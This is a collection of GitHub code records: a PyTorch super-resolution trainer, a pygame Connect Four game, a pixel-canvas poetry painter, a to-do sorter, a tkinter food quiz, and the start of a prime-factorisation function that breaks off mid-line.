+{"seq_id":"42653448101","text":"import importlib\nimport os\nfrom typing import Optional\n\nimport hydra\nimport numpy as np\nfrom omegaconf import OmegaConf, DictConfig\nfrom torch.utils import data\nfrom src.datasets import TrainDataset, ValidationDataset\nfrom src.logger import WandbLogger\nfrom src.metrics import compute_metrics\nfrom src.utils import get_device, set_seeds\nfrom tqdm.auto import tqdm\nimport torch\nfrom torch.nn.utils import clip_grad_norm_\nfrom src.utils import count_parameters\nimport pprint\nimport glob\n\n\nclass Trainer:\n def __init__(self, config):\n self.config = config\n self.learning_rate = config.optimizer.learning_rate\n\n # create the model\n self.model = getattr(importlib.import_module(\"src.models\"), config.model)(\n input_channels=config.image_channels, n_features=config.n_features)\n\n # define the loss\n self.criterion = getattr(importlib.import_module(\"torch.nn\"), config.loss)()\n\n # define the optimizer\n self.optimizer = getattr(importlib.import_module(\"adamp\"), config.optimizer.name)(\n params=self.model.parameters(),\n betas=tuple(config.optimizer.betas),\n eps=config.optimizer.eps,\n lr=self.learning_rate\n )\n\n # get the device\n self.device = get_device()\n self.model = self.model.to(self.device)\n\n # configure logger\n configuration = OmegaConf.to_object(config)\n pp = pprint.PrettyPrinter()\n pp.pprint(configuration)\n if config.wandb.logging:\n self.logger = WandbLogger(name=config.wandb.run_name, config=configuration,\n project=config.wandb.project_name, entity=config.wandb.entity_name)\n else:\n self.logger = None\n\n # create train dataloader from the given training dataset\n train_dataset = TrainDataset(config.train_dataset.path,\n scales=list(config.train_dataset.scales),\n degradation=config.train_dataset.degradation,\n patch_size=config.train_dataset.patch_size,\n augment=config.train_dataset.augment)\n self.train_dataloader = data.DataLoader(train_dataset,\n batch_size=config.train_dataset.batch_size,\n shuffle=config.train_dataset.shuffle,\n collate_fn=TrainDataset.collate_fn,\n num_workers=config.train_dataset.num_workers,\n pin_memory=config.train_dataset.pin_memory)\n\n # create validation dataloader from the given validation dataset\n val_dataset = ValidationDataset(config.val_dataset.path,\n scale=config.val_dataset.scale,\n degradation=config.val_dataset.degradation,\n n_images=config.val_dataset.n_images_to_use)\n self.val_dataloader = data.DataLoader(val_dataset,\n batch_size=config.val_dataset.batch_size,\n shuffle=config.val_dataset.shuffle,\n num_workers=config.val_dataset.num_workers,\n pin_memory=config.val_dataset.pin_memory)\n\n def train(self):\n\n # set initial values for total training epochs and steps\n print(\"Starting training...\")\n finished = False\n\n # load the checkpoint if required\n if self.config.load_checkpoint:\n checkpoint = self.checkpoint_load()\n\n # if the checkpoint dictionary is an empty dict, checkpoint is not loaded so initialize values\n if bool(checkpoint):\n # initialize the current epoch metrics by loading from the checkpoint\n epochs = checkpoint[\"epochs\"]\n if self.config.restart_steps_count:\n self.learning_rate = self.config.optimizer.learning_rate\n steps = 0\n for param_group in self.optimizer.param_groups:\n param_group[\"lr\"] = self.learning_rate\n else:\n self.learning_rate = checkpoint[\"learning_rate\"]\n steps = checkpoint[\"steps\"]\n best_train_psnr = checkpoint[\"best_train_psnr\"]\n best_train_ssim = checkpoint[\"best_train_ssim\"]\n best_val_psnr = checkpoint[\"best_val_psnr\"]\n best_val_ssim = checkpoint[\"best_val_ssim\"]\n else:\n steps = 0\n epochs = 0\n best_train_psnr = 0\n best_train_ssim = 0\n best_val_psnr = 0\n best_val_ssim = 0\n else:\n steps = 0\n epochs = 0\n best_train_psnr = 0\n best_train_ssim = 0\n best_val_psnr = 0\n best_val_ssim = 0\n\n # while the training is not finished (i.e. we haven't reached the max number of training steps)\n while not finished:\n\n # set the model in training mode since at the end of each epoch the model is set to eval mode by the eval\n # method\n self.model.train()\n\n # initialize the current epoch metrics\n train_loss = 0\n train_samples = 0\n train_psnr = 0\n train_ssim = 0\n train_sr_hr_comparisons = []\n\n # for each batch in the training set\n for scale, lrs, hrs in tqdm(self.train_dataloader, position=0):\n\n # send lr and hr batches to device\n lrs = lrs.to(self.device)\n hrs = hrs.to(self.device)\n batch_size = lrs.size()[0]\n\n # zero the gradients\n self.optimizer.zero_grad()\n\n # do forward step in the model to compute sr images\n srs = self.model(lrs, scale)\n\n # compute loss between srs images and hrs\n loss = self.criterion(srs, hrs)\n\n # add current loss to the training loss\n train_loss += loss.item() * batch_size\n train_samples += batch_size\n\n # convert the two image batches to numpy array and reshape to have channels in last dimension\n hrs = hrs.cpu().detach().numpy().transpose(0, 2, 3, 1)\n srs = srs.cpu().detach().numpy().transpose(0, 2, 3, 1)\n\n # compute the current training metrics\n psnr, ssim = compute_metrics(hrs, srs)\n\n # add metrics of the current batch to the total sum\n train_psnr += np.sum(psnr)\n train_ssim += np.sum(ssim)\n\n # create an image containing the sr and hr image side by side and append to the array of comparison\n # images\n sr_hr = np.concatenate((srs[0], hrs[0]), axis=1)\n train_sr_hr_comparisons.append(sr_hr)\n\n # do a gradient descent step\n loss.backward()\n if self.config.clip is not None:\n clip_grad_norm_(self.model.parameters(), self.config.clip)\n self.optimizer.step()\n\n # increment the number of total steps\n steps += 1\n\n # half learning rate\n if (steps % self.config.optimizer.halving_steps) == 0:\n halved_lr = self.learning_rate / 2\n self.learning_rate = max(halved_lr, self.config.optimizer.min_learning_rate)\n for param_group in self.optimizer.param_groups:\n param_group[\"lr\"] = self.learning_rate\n\n # checkpoint\n if (steps % self.config.checkpoint_every) == 0:\n checkpoint_info = {\"learning_rate\": self.learning_rate,\n \"epochs\": epochs,\n \"steps\": steps,\n \"best_train_psnr\": best_train_psnr,\n \"best_train_ssim\": best_train_ssim,\n \"best_val_psnr\": best_val_psnr,\n \"best_val_ssim\": best_val_ssim\n }\n\n # checkpoint the training\n self.checkpoint_save(checkpoint=checkpoint_info)\n\n # if number of maximum training steps is reached\n if steps >= self.config.max_training_steps:\n # finish the training by breaking the for loop and the outer loop\n finished = True\n break\n\n # compute the current epoch training loss\n train_loss /= train_samples\n\n # compute the average metrics for the current training epoch\n train_psnr = round(train_psnr / train_samples, 2)\n train_ssim = round(train_ssim / train_samples, 4)\n\n # evaluate the model for each scale at the end of the epoch (when we looped the entire training set) and get\n # the validation loss and metrics\n val_loss, val_psnr, val_ssim, val_sr_hr_comparisons = self.validate()\n\n # compute the new best train metrics\n best_train_psnr = max(best_train_psnr, train_psnr)\n best_train_ssim = max(best_train_ssim, train_ssim)\n\n # compute the new best validation metric\n best_val_psnr = max(best_val_psnr, val_psnr)\n best_val_ssim = max(best_val_ssim, val_ssim)\n\n # print the metrics at the end of the epoch\n print(\"Epoch:\", epochs + 1, \"- total_steps:\", steps + 1,\n \"\\n\\tTRAIN\",\n \"\\n\\t- train loss:\", train_loss,\n \"\\n\\t- train psnr:\", train_psnr,\n \"\\n\\t- best train psnr:\", best_train_psnr,\n \"\\n\\t- train ssim:\", train_ssim,\n \"\\n\\t- best train ssim:\", best_train_ssim,\n \"\\n\\tVAL\",\n \"\\n\\t- val loss:\", val_loss,\n \"\\n\\t- val psnr:\", val_psnr,\n \"\\n\\t- best val psnr:\", best_val_psnr,\n \"\\n\\t- val ssim:\", val_ssim,\n \"\\n\\t- best val ssim:\", best_val_ssim)\n\n # log metrics to the logger at each training step if required\n if self.logger:\n self.logger.log(\"train_loss\", train_loss, epochs)\n self.logger.log(\"train_psnr\", train_psnr, epochs)\n self.logger.log(\"train_ssim\", train_ssim, epochs)\n self.logger.log(\"best_train_psnr\", best_train_psnr, summary=True)\n self.logger.log(\"best_train_ssim\", best_train_ssim, summary=True)\n self.logger.log(\"val_loss\", val_loss, epochs)\n self.logger.log(\"val_psnr\", val_psnr, epochs)\n self.logger.log(\"val_ssim\", val_ssim, epochs)\n self.logger.log(\"best_val_psnr\", best_val_psnr, summary=True)\n self.logger.log(\"best_val_ssim\", best_val_ssim, summary=True)\n self.logger.log(\"total_steps\", steps, step=epochs)\n self.logger.log(\"learning_rate\", self.learning_rate, step=epochs)\n self.logger.log_images(train_sr_hr_comparisons[:self.config.wandb.n_images_to_log],\n caption=\"Left: SR, Right: ground truth (HR)\",\n name=\"Training samples\", step=epochs)\n self.logger.log_images(val_sr_hr_comparisons[:self.config.wandb.n_images_to_log],\n caption=\"Left: SR, Right: ground truth (HR)\",\n name=\"Validation samples\", step=epochs)\n\n # increment number of epochs\n epochs += 1\n\n print(\"Training finished! Saving model...\")\n self.save(self.config.output_model_file)\n print(\"Done!\")\n\n def validate(self):\n print(\"Evaluating...\")\n\n # set model to eval mode\n self.model.eval()\n\n # initialize current validation epoch metrics\n val_samples = 0\n val_loss = 0\n val_psnr = 0\n val_ssim = 0\n val_sr_hr_comparisons = []\n\n # disable gradient computation\n with torch.no_grad():\n for scale, lr, hr in tqdm(self.val_dataloader, position=0):\n # send lr and hr to device\n lr = lr.to(self.device)\n hr = hr.to(self.device)\n batch_size = lr.size()[0]\n\n # do forward step in the model to compute sr images\n sr = self.model(lr, scale)\n\n # compute the validation loss for the current scale\n loss = self.criterion(sr, hr)\n val_loss += loss.item() * batch_size\n val_samples += batch_size\n\n # convert the two image batches to numpy array and reshape to have channels in last dimension\n hr = hr.cpu().detach().numpy().transpose(0, 2, 3, 1)\n sr = sr.cpu().detach().numpy().transpose(0, 2, 3, 1)\n\n # comupute psnr and ssim for the current validation sample\n psnr, ssim = compute_metrics(hr, sr)\n\n # add metrics of the current batch to the total sum\n val_psnr += np.sum(psnr)\n val_ssim += np.sum(ssim)\n\n # create an image containing the sr and hr image side by side and append to the array of comparison\n # images\n sr_hr = np.concatenate((sr[0], hr[0]), axis=1)\n val_sr_hr_comparisons.append(sr_hr)\n\n # compute the average val loss for the current validation epoch\n val_loss /= val_samples\n\n # compute the average metrics for the current validation epoch\n val_psnr = round(val_psnr / val_samples, 2)\n val_ssim = round(val_ssim / val_samples, 4)\n\n return val_loss, val_psnr, val_ssim, val_sr_hr_comparisons\n\n def save(self, filename: str):\n filename = f\"{filename}.pt\"\n trained_model_path = self.config.model_folder\n if not os.path.isdir(trained_model_path):\n os.makedirs(trained_model_path)\n file_path = f\"{trained_model_path}{filename}\"\n\n print(f\"Saving trained model to {file_path}...\")\n\n # save network weights\n torch.save(self.model.state_dict(), file_path)\n\n def load(self, filename: str) -> None:\n filename = f\"{filename}.pt\"\n trained_model_path = self.config.model_folder\n if os.path.isdir(trained_model_path):\n file_path = f\"{trained_model_path}{filename}\"\n if os.path.isfile(file_path):\n print(f\"Loading model from {file_path}...\")\n weights = torch.load(file_path, map_location=torch.device(\"cpu\"))\n self.model.load_state_dict(weights)\n print(\"Done!\")\n else:\n print(\"Weights file not found.\")\n else:\n print(\"The directory of the trained models does not exist.\")\n\n def checkpoint_save(self, checkpoint: dict) -> None:\n print(f\"Checkpointing at step {checkpoint['steps']}...\")\n checkpoint_path = f\"{self.config.model_folder}checkpoints/\"\n if not os.path.isdir(checkpoint_path):\n os.makedirs(checkpoint_path)\n file_path = f\"{checkpoint_path}{self.config.checkpoint_file}.pt\"\n\n checkpoint['model_weights'] = self.model.state_dict()\n checkpoint['optimizer_weights'] = self.optimizer.state_dict()\n\n # remove old checkpoints to save storage\n folder = glob.glob(f\"{checkpoint_path}*\")\n for file in folder:\n os.remove(file)\n\n # checkpoint the training\n torch.save(checkpoint, file_path)\n\n def checkpoint_load(self) -> dict:\n checkpoint_path = f\"{self.config.model_folder}checkpoints/\"\n\n # if the folder with checkpoints exists and contains the checkpoint file\n if os.path.isdir(checkpoint_path):\n checkpoint_file_path = f\"{checkpoint_path}{self.config.checkpoint_file}.pt\"\n if os.path.isfile(checkpoint_file_path):\n # load checkpoint information from the file\n print(f\"Loading checkpoint from file {checkpoint_file_path}...\")\n checkpoint = torch.load(checkpoint_file_path, map_location=torch.device(\"cpu\"))\n\n self.model.load_state_dict(checkpoint['model_weights'])\n self.optimizer.load_state_dict(checkpoint['optimizer_weights'])\n\n return checkpoint\n else:\n # no file exists in the folder, so return None\n print(\"Checkpoint file does not exist. Training is starting from the beginning...\")\n return {}\n else:\n # the checkpoint folder does not exist, so return None\n print(\"Checkpoint folder does not exist. Training is starting from the beginning...\")\n return {}\n\n\n@hydra.main(version_base=None, config_path=\"../config/\", config_name=\"training\")\ndef main(config: DictConfig):\n # set seeds for reproducibility\n if config.seed:\n set_seeds(config.seed)\n\n # create trainer with the given testing configuration\n trainer = Trainer(config)\n count_parameters(trainer.model)\n\n # run the training\n trainer.train()\n\n # if logging is enabled, finish the logger\n if config.wandb.logging:\n trainer.logger.finish()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"pierclgr/MPRNet-SR","sub_path":"src/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":17772,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"33310970494","text":"import numpy as np\nimport pygame\nimport sys\nimport os\nimport math\nfrom tkinter import *\n\n\nos.environ['SDL_VIDEO_CENTERES'] = '1'\n\npygame.init()\n\n#Variáveis Globais\ncor_tabuleiro = (255,244,97)\ncor_fundo = (4,44,29)\nverde = (115, 255, 204)\nrosa = (243,129,199)\n\ncont_linha = 6\ncont_coluna = 7\n\nsecc_tabuleiro = 100 #tamanho de cada \"círculo\" do tabuleiro\nwidth = cont_coluna * secc_tabuleiro\nheight = (cont_linha+1) * secc_tabuleiro\n\ntamanho = (width, height)\n\nscreen = pygame.display.set_mode(tamanho)\n\nbtn_font = (\"Press Start 2P\", 10)\n\nplayer1 = \"Zé Ninguém\"\nplayer2= \"Jane Doe\"\n\ndef font(size):\n #Devolve a font no tamanho que eu quiser\n return pygame.font.Font(\"assets/font.ttf\", size)\n\ndef criar_tabuleiro():\n #Cria tabuleiro\n tabuleiro = np.zeros ((cont_linha,cont_coluna)) #np.zeros - devolve uma nova array com 6 linhas por 7 colunas preenchida com 0s\n return tabuleiro\n\n\ndef ins_peça(tabuleiro, linha, coluna, peça):\n #Inserir a peça no tabuleiro\n tabuleiro[linha][coluna] = peça\n\n\ndef val_local(tabuleiro,coluna):\n #Validar a localização onde o Jogador quer inserir a peça - Pode ou não?\n return tabuleiro[cont_linha-1][coluna] == 0 #se for true é ok inserir peça, se não significa que a coluna já foi \"cheia\" até ao de cima\n\ndef append_loc_validas(tabuleiro):\n #Agrupar todas as colunas em que se pode inserir a peça para ver quando será o empate em MULTIPLAYER\n loc_validas = []\n for coluna in range (cont_coluna):\n if val_local(tabuleiro,coluna):\n loc_validas.append(coluna)\n return loc_validas\n\ndef verificar_prox_linha(tabuleiro,coluna): \n #verificar que row a peça vai/pode ser inserida; se o slot é 0, significa que ainda está vazio, por isso retorna o 1º index que está vazio\n for l in range(cont_linha):\n if tabuleiro[l][coluna] == 0:\n return l\n\n\ndef orientação_tabuleiro(tabuleiro):\n #Inverte/Flip o tabuleiro para as peças começarem a entrar no \"fundo\" do mesmo\n print(np.flip(tabuleiro, 0)) #flip \"vira\" o tabuleiro consoante o x axis\n\n\ndef vencedor (tabuleiro, peça):\n #Verifica quais a jogadas vencedoras\n\n #Verificar horizontais:\n for c in range(cont_coluna-3):\n for l in range(cont_linha):\n if tabuleiro[l][c] == peça and tabuleiro[l][c+1] == peça and tabuleiro[l][c+2] == peça and tabuleiro[l][c+3] == peça:\n return True\n\n #Verificar Verticais\n for c in range(cont_coluna):\n for l in range(cont_linha-3):\n if tabuleiro[l][c] == peça and tabuleiro[l+1][c] == peça and tabuleiro[l+2][c] == peça and tabuleiro[l+3][c] == peça:\n return True\n\n #Verificar Diagonais +\n for c in range(cont_coluna-3):\n for l in range(cont_linha-3):\n if tabuleiro[l][c] == peça and tabuleiro[l+1][c+1] == peça and tabuleiro[l+2][c+2] == peça and tabuleiro[l+3][c+3] == peça:\n return True\n\n #Verificar Diagonais -\n for c in range(cont_coluna-3):\n for l in range(3, cont_linha):\n if tabuleiro[l][c] == peça and tabuleiro[l-1][c+1] == peça and tabuleiro[l-2][c+2] == peça and tabuleiro[l-3][c+3] == peça:\n return True\n\n\ndef desenhar_tabuleiro(tabuleiro):\n #Desenha o tabuleiro - tabuleiro, circulos que criam o \"vazio\" em cima da cor do tabuleiro, por serem da mesma cor do fundo + preenche com os respetivos circulos\n for c in range (cont_coluna):\n for l in range (cont_linha):\n pygame.draw.rect(screen, cor_tabuleiro,(c*secc_tabuleiro, l*secc_tabuleiro+secc_tabuleiro, secc_tabuleiro, secc_tabuleiro))\n pygame.draw.circle(screen, cor_fundo, (int(c*secc_tabuleiro+secc_tabuleiro/2), int(l*secc_tabuleiro+secc_tabuleiro+secc_tabuleiro/2)), radius=int(secc_tabuleiro/2-5))\n\n for c in range(cont_coluna):\n for l in range(cont_linha):\n if tabuleiro[l][c] == 1:\n pygame.draw.circle(screen, verde, (int(c*secc_tabuleiro+secc_tabuleiro/2), height - int(l*secc_tabuleiro+secc_tabuleiro/2)), radius=int(secc_tabuleiro/2-5))\n elif tabuleiro[l][c] == 2:\n pygame.draw.circle(screen, rosa, (int(c*secc_tabuleiro+secc_tabuleiro/2), height - int(l*secc_tabuleiro+secc_tabuleiro/2)), radius=int(secc_tabuleiro/2-5))\n\n pygame.display.update()\n\n\ndef nomes_players(msg):\n #Pede o Input do nomes dos jogadores quando MULTIPLAYER\n janela_popup = Tk()\n janela_popup.wm_attributes(\"-toolwindow\", True)\n janela_popup.title(\"Get ready!\")\n janela_popup.option_add(btn_font, '10')\n janela_popup.config(bg=\"#F381C7\")\n\n def center(win):\n #centra a window dos nomes\n win.update_idletasks()\n width_janela = win.winfo_width()\n height_janela = win.winfo_height()\n x = (win.winfo_screenwidth() // 2 ) - (width_janela // 2)\n y = (win.winfo_screenheight() // 2) - (height_janela // 2)\n win.geometry(\"+%d+%d\" % (x,y))\n\n center(janela_popup)\n\n def nomes(event = None): #get nomes do input\n global player1, player2\n player1 = entry.get().strip()\n player2 = entry1.get().strip()\n \n janela_popup.destroy() \n\n\n label= Label(janela_popup, text=msg, font=btn_font, bg=\"#F381C7\")\n label.pack(side = \"top\", fill=\"x\", pady=10)\n \n entry = Entry(janela_popup, width=15, font= btn_font)\n entry.pack(padx=5)\n entry.insert(0, \"Zé Ninguém\")\n entry.bind(\"\", nomes)\n entry.focus_set()\n\n entry1 = Entry(janela_popup, width=15, font= btn_font)\n entry1.pack(pady=5)\n entry1.insert(0, \"Jane Doe\")\n entry1.bind(\"\", nomes)\n entry1.focus_set()\n\n b1 = Button(janela_popup, text = \"OK\",font=btn_font, command=nomes)\n b1.pack()\n\n\n janela_popup.mainloop()\n\n\ndef inicio_jogo():\n #Faz aparecer o jogo em si na janela main - quando se clica em JOGAR MULTIPLAYER.\n nomes_players(\"Nomes:\")\n\n pygame.display.update()\n tabuleiro = criar_tabuleiro()\n fim_de_jogo = False\n vez = 0\n\n desenhar_tabuleiro(tabuleiro)\n pygame.draw.rect(screen, cor_fundo, (0,0, width, secc_tabuleiro))\n pygame.display.update()\n\n\n while fim_de_jogo is not True:\n\n for event in pygame.event.get():\n pygame.draw.rect(screen, cor_fundo, (0,0, width, secc_tabuleiro))\n if event.type == pygame.QUIT: #fecha o jogo como deve ser, se se fechar a janela\n pygame.quit()\n sys.exit()\n\n if event.type == pygame.MOUSEMOTION:\n posx = event.pos[0]\n if vez == 0:\n pygame.draw.circle(screen, verde, (posx, int(secc_tabuleiro/2)), radius=int(secc_tabuleiro/2-5))\n else: \n pygame.draw.circle(screen, rosa, (posx, int(secc_tabuleiro/2)), radius=int(secc_tabuleiro/2-5))\n pygame.display.update()\n\n if event.type == pygame.MOUSEBUTTONDOWN: #todos os eventos do jogo, acontecem quando se clica \"down\" no rato\n pygame.draw.rect(screen, cor_fundo, (0,0, width, secc_tabuleiro))\n \n #Jogador 1 joga:\n if vez == 0: \n posx = event.pos[0]\n coluna = int(math.floor(posx/secc_tabuleiro)) #vê onde o mouse está e escolhe essa coluna com base nisso\n\n if val_local(tabuleiro, coluna):\n linha = verificar_prox_linha(tabuleiro, coluna)\n ins_peça(tabuleiro, linha, coluna, 1)\n\n if vencedor(tabuleiro, 1):\n text_vencedor = font(35).render(\"{0} ganha!\".format(player1), True, verde)\n rect_menu = text_vencedor.get_rect(center=(350, 75))\n screen.blit(text_vencedor,rect_menu)\n fim_de_jogo = True\n\n\n #Pedir o input do Jogador 2:\n else:\n posx = event.pos[0]\n coluna = int(math.floor(posx/secc_tabuleiro)) #vê onde o mouse está e escolhe essa coluna com base nisso\n\n if val_local(tabuleiro, coluna):\n linha = verificar_prox_linha(tabuleiro, coluna)\n ins_peça(tabuleiro, linha, coluna, 2)\n\n if vencedor(tabuleiro, 2):\n text_vencedor = font(35).render(\"{0} ganha!\".format(player2), True, rosa)\n rect_menu = text_vencedor.get_rect(center=(350, 75))\n screen.blit(text_vencedor,rect_menu)\n fim_de_jogo = True\n\n if len(append_loc_validas(tabuleiro)) == 0:\n text_vencedor = font(35).render(\"EMPATE!\", True, cor_tabuleiro)\n rect_menu = text_vencedor.get_rect(center=(350, 75))\n screen.blit(text_vencedor,rect_menu)\n fim_de_jogo = True\n\n orientação_tabuleiro(tabuleiro)\n desenhar_tabuleiro(tabuleiro)\n \n vez +=1\n vez = vez % 2 #alternar a vez apenas entre 0 e 1\n\n\n return fim_de_jogo","repo_name":"pgraca97/4-em-Linha","sub_path":"jogo.py","file_name":"jogo.py","file_ext":"py","file_size_in_byte":9144,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11902783040","text":"#!/usr/bin/env python3\n\n# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this\n# file, You can obtain one at http://mozilla.org/MPL/2.0/.\n\nimport random\nimport string\n\nfrom libmonty.images import colors_named\n\nfrom pixels import output\nfrom pixels import files\n\nfrom pixels import api_get_pixel\nfrom pixels import api_get_pixels\nfrom pixels import api_get_size\nfrom pixels import api_set_pixel\n\n\nCOMMAND = 'poetry'\n\n\ndef command(execute: bool, timestamp: str, task_queue, **kwargs) -> None:\n\n vertical_start = 100\n horizontal_start = 130\n\n if execute:\n pass\n\n if len(kwargs['args']) in (1, 2):\n\n s_creator_line = '\"The Colors of Poetry\" by @sunarch '\n\n b_test = False\n if len(kwargs['args']) == 2:\n b_test = True\n\n s_title_line = ''\n ls_lines = []\n i_longest = len(s_creator_line)\n\n with open(f'{files.FOLDER_DATA}/{kwargs[\"args\"][0]}.txt', 'rt') as f_data:\n\n for line in f_data:\n\n s_line = line.strip()\n\n if s_title_line == '':\n s_title_line = s_line\n else:\n ls_lines.append(s_line)\n\n if len(s_line) > i_longest:\n i_longest = len(s_line)\n\n ls_lines = list(map(lambda x: line_to_adjusted_list_char(x, i_longest), ls_lines))\n\n ls_lines = list(map(lambda x: list_char_to_rgb(x), ls_lines))\n\n ls_lines = list(map(lambda x: list_char_add_vertical(x), ls_lines))\n\n i_horizontal = i_longest + 2\n\n ls_title = line_to_adjusted_list_text_triplets(s_title_line, i_longest, ' ')\n ls_title = list_char_add_vertical(ls_title)\n ls_lines.insert(0, ls_title)\n\n ls_top = line_to_adjusted_list_text_triplets(s_creator_line, i_longest, '/')\n ls_top = list_char_add_vertical(ls_top)\n ls_lines.insert(0, ls_top)\n\n ls_bottom = [horizontal()] * i_horizontal\n ls_lines.append(ls_bottom)\n\n i_vertical = len(ls_lines)\n\n result_s = api_get_size.execute()\n output.log_result(timestamp, result_s)\n\n try:\n width = result_s['width']\n height = result_s['height']\n except KeyError:\n raise ValueError('Invalid size.')\n\n if width < i_horizontal + horizontal_start:\n raise ValueError(f'Canvas not wide enough: {width} < {i_horizontal + horizontal_start}')\n\n if height < i_vertical + vertical_start:\n raise ValueError(f'Canvas not tall enough: {height} < {i_vertical + vertical_start}')\n\n for i_row, ls_single_line in enumerate(ls_lines):\n\n for i_col, rgb in enumerate(ls_single_line):\n\n if b_test:\n ls_args = [str(i_col + horizontal_start), str(i_row + vertical_start)]\n task_queue.put((api_get_pixel.COMMAND, ls_args, timestamp))\n d_args = dict(zip(['x', 'y'], ls_args))\n s_request = output.form_request_input(api_get_pixel.API_NAME_GET, d_args)\n\n else:\n ls_args = [str(i_col + horizontal_start), str(i_row + vertical_start), rgb]\n task_queue.put((api_set_pixel.COMMAND, ls_args, timestamp))\n d_args = dict(zip(['x', 'y', 'rgb'], ls_args))\n s_request = output.form_request_input(api_set_pixel.API_NAME_POST, d_args)\n\n output.to_console(f'Queued: {s_request}')\n\n if not b_test:\n task_queue.put((api_get_pixels.COMMAND, [], timestamp))\n s_request = output.form_request_input(api_get_pixels.API_NAME_GET, {})\n output.to_console(f'Queued: {s_request}')\n\n output.to_console(output.form_separator())\n\n return\n\n raise ValueError('Invalid arguents.')\n\n\ndef line_to_adjusted_list_char(line: str, length: int, padder: str = ' ') -> list[str]:\n\n return list(f'{line:{padder}<{length}}')\n\n\ndef line_to_adjusted_list_text_triplets(line: str, length: int, padder: str = ' ') -> list[str]:\n\n s_triplet = ''\n ls_result = []\n\n if len(line) % 3 != 0:\n line += ' ' * (3 - (len(line) % 3))\n\n for i_char in range(len(line) + 1):\n\n try:\n s_triplet += f'{format(ord(line[i_char]), \"X\"):0>2}'\n except IndexError:\n pass\n\n if len(s_triplet) == 6:\n ls_result.append(s_triplet)\n s_triplet = \"\"\n\n while len(ls_result) < length:\n ls_result.append(format(ord(padder), 'X') * 3)\n\n return ls_result\n\n\ndef list_char_to_rgb(line: list[str]) -> list[str]:\n\n return [char_to_color(char) for char in line]\n\n\ndef char_to_color(char: str) -> str:\n\n if char in string.printable:\n i_char = string.printable.index(char)\n else:\n i_char = random.randrange(len(string.printable))\n\n fl_char = i_char / len(string.printable)\n\n i_color = round(fl_char * len(colors_named.COLORS))\n\n ls_colors = list(colors_named.COLORS)\n\n return ls_colors[i_color]\n\n\ndef list_char_add_vertical(line: list[str]) -> list[str]:\n\n line.insert(0, vertical())\n line.append(vertical())\n\n return line\n\n\ndef vertical() -> str:\n\n return format(ord('|'), 'X') * 3\n\n\ndef horizontal() -> str:\n\n return format(ord('-'), 'X') * 3\n\n# -------------------------------------------------------------------- #\n","repo_name":"sunarch/libmonty","sub_path":"other/misc/pixels/projects/poetry.py","file_name":"poetry.py","file_ext":"py","file_size_in_byte":5410,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"25599560952","text":"def process_todo_notes():\n todo_notes = []\n\n while True:\n note = input()\n if note == 'End':\n break\n\n todo_notes.append(note)\n\n sorted_notes = sorted(todo_notes, key=lambda x: int(x.split('-')[0]))\n result_sorted_notes = [note.split('-')[1] for note in sorted_notes]\n return result_sorted_notes\n\nresult = process_todo_notes()\nprint(result)","repo_name":"zahariev-webbersof/python-fundamentals-05-2023","sub_path":"list_advanced/todo_list.py","file_name":"todo_list.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"48"} +{"seq_id":"17133977619","text":"from tkinter import*\r\nray = Tk()\r\nray.title(\"ray\")\r\nray.geometry(\"400x450\")\r\n#fcuntion \r\ndef clicked(option):\r\n\tif (option==1):\r\n\t\tlabel= Label(frame,text=\"you are right!!!\",font=40).pack()\r\n\tif (option==2):\r\n\t\tlabel= Label(frame,text=\"you are wrong!!!\",font=40).pack()\r\n\r\n\r\n#creating a frame inside ray tab\r\nframe = LabelFrame(ray,text=\"define healthy and unhealthy food...\",padx=100,pady=70,bd=2,font=15,relief=SUNKEN)\r\nframe.grid(row=1,column=0)\r\nbox = LabelFrame(ray, text=\"tick carefully\", padx=200,pady=250)\r\n# question label \r\nqu =Label(frame,text=\"life is ______?...\",font = 30).grid(row=0,column=0)\r\nzar = IntVar()\r\nzar.set(\"2\")\r\n\"\"\"\r\n\t\t\t\t\t\t\tunhealthy = 1\r\n\t\t\t\t\t\t\thealthy = 2\r\n\r\n\r\n\r\n\"\"\"\r\nfoods = [\r\n\t(\"burger\",\"unhealthy\",1),\r\n\t(\"noodles\",\"healthy\",2),\r\n\t(\"chicken fry \",\"unhealthy\",1),\r\n\t(\"curry\",\"healthy\",2,),\r\n\t(\"chocolate\",\"healthy\",2),\r\n\t(\"biscuits\",\"healthy\",2),\r\n\t(\"fruits\",\"healthy\",2),\r\n\t(\"sugar\",\"unhealthy\",1),\r\n\t(\"french fries\",\"unhealthy\",1),\r\n\t(\"chips\",\"unhealthy\",1),\r\n\t(\"grapes\",\"healthy\",2),\r\n\t(\"carrots\",\"healthy\",2),\r\n\t(\"wine\",\"unhealthy\",1),\r\n\t]\r\nc=0\r\nr=0\r\nfor dish,check,k in foods:\r\n\tdish = Label(frame,text=dish,font=7)\r\n\tdish.grid(row=c,column=r)\r\n\tc= c+1\r\n\tif (r==0):\r\n\t\tr=r+1\r\n\tif (r==1):\r\n\t\tr=r-1\r\n\tRadiobutton(frame,text=dish,variable=dish,value=k).grid(row=r,column=c)\r\nfor dish,check,k in foods:\r\n\t\r\n\tdish = IntVar()\r\n\tdish.set(check)\r\n#Radiobutton(frame,text=\"fucking race\",variable=zar,value=\"1\",command=lambda:clicked(1),font =20).pack(anchor=W)\r\n#Radiobutton(frame,text=\"beautiful\",variable=zar,value=\"2\",command=lambda:clicked(2),font = 20).pack(anchor=W)\r\n\r\nmainloop()","repo_name":"RaiyanAhmed-RK/dev-in-py-tkinter","sub_path":"py_TK/raddiobuttons.py","file_name":"raddiobuttons.py","file_ext":"py","file_size_in_byte":1614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"29032259191","text":"# O(sqrt(n))\ndef getPrimeFactors(n):\n factors: dict[int, int] = {} # dict: { factor: power }\n\n # O(log2(n))\n while n % 2 == 0:\n factors[2] = factors.get(2, 0) + 1\n n /= 2\n\n # O(sqrt(n))\n divisor = 3\n while n > 1:\n if n % divisor == 0:\n factors[divisor] = factors.get(divisor, 0) + 1\n n /= divisor\n else: \n divisor += 2\n\n return factors\n\ndef 